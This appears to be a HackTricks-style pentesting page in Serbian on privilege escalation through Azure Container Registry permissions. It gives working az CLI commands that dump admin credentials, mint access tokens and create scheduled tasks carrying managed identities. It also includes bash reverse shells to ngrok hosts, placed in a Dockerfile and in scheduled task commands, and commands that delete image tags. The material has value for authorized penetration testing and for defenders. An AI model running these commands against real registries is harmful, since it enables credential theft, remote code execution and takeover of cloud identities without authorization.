# Az - Azure Container Registry Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Azure Container Registry

Za više informacija pogledajte:

{{#ref}}
../az-services/az-container-registry.md
{{#endref}}

### `Microsoft.ContainerRegistry/registries/listCredentials/action`

Ova dozvola omogućava korisniku da prikaže administratorske akreditive ACR-a. Ovo je korisno za **dobijanje punog pristupa** registru.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
```
U slučaju da admin kredencijali nisu omogućeni, takođe će vam biti potrebna dozvola `Microsoft.ContainerRegistry/registries/write` da ih omogućite sa:
```bash
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
```
### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action`

Ove dozvole omogućavaju korisniku da **napravi novi token** sa lozinkama za pristup registru.

Da biste koristili `az cli` za generisanje kao u sledećem primeru, takođe će vam biti potrebne dozvole `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read`
```bash
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
```
### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action`

Ove dozvole omogućavaju korisniku da **izgradi i pokrene sliku** u registru. Ovo se može koristiti za **izvršavanje koda** u kontejneru.

>[!WARNING]
> Međutim, slika će biti izvršena u **sandbox okruženju** i **bez pristupa usluzi metapodataka**. To znači da kontejner neće imati pristup **metapodacima instance**, tako da ovo zapravo nije korisno za eskalaciju privilegija.
```bash
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
```
### `Microsoft.ContainerRegistry/registries/tasks/write`

Ovo je glavna dozvola koja omogućava kreiranje i ažuriranje zadatka u registru. Ovo se može koristiti za **izvršavanje koda unutar kontejnera sa upravljanom identitetom koji je povezan sa njim** u kontejneru.

Ovo je primer kako izvršiti reverse shell u kontejneru sa **sistemskim upravljanim** identitetom koji je povezan sa njim:
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
```
Drugi način da dobijete RCE iz zadatka bez korišćenja spoljnog repozitorijuma je korišćenje komande `az acr task create` sa `--cmd` flagom. Ovo će vam omogućiti da pokrenete komandu u kontejneru. Na primer, možete pokrenuti reverznu ljusku sa sledećom komandom:
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
```
> [!TIP]
> Imajte na umu da za dodeljivanje identiteta koji upravlja sistemom ne trebate posebne dozvole, iako mora biti omogućeno unapred u registru i dodeljene neke dozvole da bi bilo korisno.

Da biste dodelili **identitet koji upravlja korisnikom takođe**, potrebna vam je dozvola `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` da biste uradili:
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
```
Da **ažurirate** repozitorijum postojeće zadatka, možete uraditi:
```bash
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
```
### `Microsoft.ContainerRegistry/registries/importImage/action`

Sa ovom dozvolom je moguće **importovati sliku u azure registry**, čak i bez lokalnog posedovanja slike. Međutim, imajte na umu da **ne možete importovati sliku sa oznakom** koja već postoji u registry.
```bash
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
```
Da biste **uklonili ili obrisali određenu oznaku slike** iz registra, možete koristiti sledeću komandu. Međutim, imajte na umu da će vam biti potreban korisnik ili token sa **dovoljnim dozvolama** da to uradite:
```bash
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>

az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
```
{{#include ../../../banners/hacktricks-training.md}}
